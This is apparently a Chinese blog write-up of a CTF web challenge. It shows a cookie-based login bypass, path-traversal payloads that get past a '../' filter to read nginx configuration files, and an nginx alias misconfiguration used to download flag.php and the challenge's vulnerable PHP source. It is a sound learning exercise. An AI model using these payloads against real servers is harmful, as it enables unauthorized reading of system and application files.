CTF-i春秋-Web-Zone
2020.09.20
经验教训
- nginx服务器的配置文件是nginx.conf,存储路径为
./etc/nginx/nginx.conf
; - 一般服务器存放路径为
/var/www/html/
; - nginx.conf文件中,可以通过include其他路径文件来引用其他文件包含的配置,比如
include sites-enabled/default;
,这样做是为了把一些配置进行分类,方便在需要的时候快速启动或者关闭,这些路径是可变的,管理员可以自行设置; - nginx.conf文件中,如果配置了
autoindex on;
,那么说明这个路径可以进行浏览目录下载文件,例如location /online-movies { alias /movie/; autoindex on; }
中,location /online-movies路径就可以浏览目录下载文件,全路径一般是/etc/nginx/location/online-movies
; - 文件遍历是指的一个目录,可以直接进行访问;
- 开启文件遍历权限的路径,在路径后边添加文件的相对路径就可以下载到文件,在可视化界面访问不到的文件也可以进行下载,比如
/var/www/html/flag.php
Zone
https://www.ichunqiu.com/battalion
-
点击链接,蹦出来提示框要求登陆,点击后蹦到login.php,测试是否存在sql注入,但是提交显示网站正在建设中,查看源码,没有信息,查看消息头,发现信息
-
尝试修改login值,login=1时访问首页能成功
-
点击跳转到admin.php界面,尝试修改module为flag,得到一个信息,是否可以burp爆破一下module值
-
我试了,但是我ip好像被禁了……方向不对,看了wp才知道原来是这么回事,哈哈哈,module是文件名,路径,name是后缀,明白了,接下来在这个页面
manages/admin.php
进行测试-
?module=index.php&name=
,页面返回成功,说明猜想正确,是两个参数拼接而成的文件访问,页面输出的是文件内容 -
?module=php://input&name=
,本来想试试文件包含漏洞,但是好像不好用,或许是我测试的姿势不对,有明白的老铁欢迎给我指出错误
-
?module=robots.txt&name=
,成功返回文件内容,发现flag.php -
?module=flag.php&name=
,文件内容是骗人的吧
-
?module=.htaccess&name=
,没东西 -
?module=ind../ex.php&name=
,返回正常,说明../
被过滤了 -
?module=ind....//ex.php&name=
,返回空白,说明可以绕过 -
一般服务器存放路径为
/var/www/html/
,nginx服务器的配置文件是nginx.conf,存储路径为./etc/nginx/nginx.conf
;所以构造下面payload -
?module=....//....//....//etc/nginx/nginx.conf&name=
,返回nginx.conf文件,文件大多数被注释了,只有最后一行提供了信息include sites-enabled/default;
,告诉我们存在sites-enabled/default目录
-
?module=....//....//....//etc/nginx/sites-enabled/default&name=
,访问上一步得到的新路径,得到新线索
-
上一步获取的文件的最后一行
location /online-movies { alias /movie/; autoindex on; }
,说明location/online-movies这个路径可以浏览下载文件,我们访问试试; -
/online-movies
,直接进行文件遍历,我一开始以为还跟上边一样payload请求,没想到是直接就能访问到这个目录
-
/online-movies../var/www/html/flag.php
,成功下载到flag.php
-
打开获得flag
flag{8f7180b7-6e14-4e66-b069-cfab88fcc7f7}
-
这地方又个小插曲,就是我在/online-movies/返回的可视界面上,点击html显示的是下载一个文件,并不能进入到目录里边去,但是用上面的url却可以直接访问到html/flag.php,我感觉很神奇……
-
-
既然我们能下载到源码,那么就趁此机会学习一下出题人是怎么写的代码🤓
/online-movies../var/www/html/index.php
,我取了里边比较有用的一些代码贴出来,事实证明index.php就是我在可视界面点击html下载到的那个文件;
<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if(!isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='login.php';</script>");
?>
- `manages/admin.php`,从中我们可以发现,代码只对php文件添加了`.php`其他的直接放空了……他这里include不可以用文件包含漏洞吗??明天想起来的话查证一下。估计是想不起来了🙄
<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
header("Location: admin.php?module=index&name=php");
?>
<?php
$ext = $_GET['name'];
if ($ext === 'php') {
$ext = ".".$ext;
}else{
$ext = '';
}
include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
?>
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!